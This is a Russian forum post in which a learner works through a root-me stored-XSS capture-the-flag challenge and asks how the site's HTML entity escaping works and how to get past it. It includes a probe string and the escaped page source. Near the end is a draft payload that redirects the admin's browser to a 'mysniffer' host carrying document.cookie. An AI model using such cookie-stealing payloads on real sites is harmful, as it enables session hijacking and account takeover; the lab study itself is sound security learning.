• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Вопрос насчет xss

InetTester

Green Team
21.10.2018
308
43
Добрый день,
прохожу по потихоньку CTF(XSS - Stored 2) на площадке root-me, во общем задача как всегда угнать cookies админа, так как насколько я понимаю в те времена когда создавали данный challenge еще не было флага 'http only'.
Итак нашел input который вроде пропускает все символы, что я сразу проверил сразу скормив ему:
Код:
'';!--"<fuck>=&{()}
Далее попробовал, вставить обычный alert()
Код:
<script>alert(1)</alert>
Нажимаю F12 в в соем любимом FireFox-e и иду смотреть куда именно он был засунут backend-ом...
HTML:
<html>
    <head>
    <title>Forum v0.002</title>
    <style>
.invite { color: green; }
.admin { color: red;}
    </style>
    </head>
   <body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/template/s.css']/template/s.css[/URL]' media='all' /><iframe id='iframe' src='[URL='https://codeby.net/view-source%3Ahttps%3A//www.root-me.org/?page=externe_header']https://www.root-me.org/?page=externe_header[/URL]'></iframe>
        <h1>Forum v0.002</h1>
    <hr/>

    <div>
        <span><a href="[URL='https://codeby.net/view-source%3Ahttp%3A//challenge01.root-me.org/web-client/ch19/?section=admin']./?section=admin[/URL]">admin</a></span>
        <span style="text-align: right; float:right;">Statut / Status : <i class="invite">invite</i></span>
    </div><br/>

<b>message enregistré / content saved</b><br/><br/> <form action="" method="POST" />
            <div>
                Titre / Title&nbsp;:<br/>
                <input type="text" name="titre" value="" />
            </div><br/>
            <div>
                Message / Content&nbsp;:<br/>
                <textarea name="message" rows="3" cols="50"></textarea>
            </div>
            <div>
                <input type="submit" value="envoyer / send" />
            </div>
        </form><br/><br/>
        <div>
            <div>Posted messages:</div><br/>
        <span><b>Welcome</b></span><br/>
        <span>N'hésitez pas à me laisser un message / Don't hesitate, let a message</span><br/><hr/>
        <span><b>test2</b>&nbsp;(<i class="invite">status : invite</i>)</span><br/><span>&lt;script&gt;alert(1)&lt;/alert&gt;</span><br/><hr/>
<span><b>test0</b>&nbsp;(<i class="invite">status : invite</i>)</span><br/><span>'';!--&quot;&lt;fuck&gt;=&amp;{()}</span><br/><hr/>
        </div>
    </body>
</html>
И нахожу в конце свой js код:
HTML:
&lt;script&gt;alert(1)&lt;/alert&gt;

1. Насколько я понял браузер заменил найденные в моем запросе спец символы на специальные коды(буду рад если подскажите точное их название(вроде на S...)) которые по определению НИКОГДА им не будут обработаны/интерпретированы как HTML но будут успешно отображены браузером?

2. Если так то во что нужно перевести мой так называемый payload чтобы backend 'пропустил' все символы и чтобы они были обработаны как html/js код?

3. Еще вопрос(не уверен что задам его грамотно): в каком именно представлении браузеры способны обрабатывать данные?
Т.е я могу обычный html/js код закодировать в ascii, utf8, url или в HEX .. и браузер без проблем автоматически интерпретирует и покажет мой html?

Как только решу данную задачу то насколько я понял нужно будет закрыть все внешние теги и далее уже просто вставить мой js payload, на данный момент пришел к такому варианту:
Код:
</span></br></div><script>document.location.href = 'https://mysniffer?cookies =' + document.cookie;</script><div><span>

PS: В курсе что есть уже средства позволяющие автоматически проводить находить xss... интересует больше разобраться.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD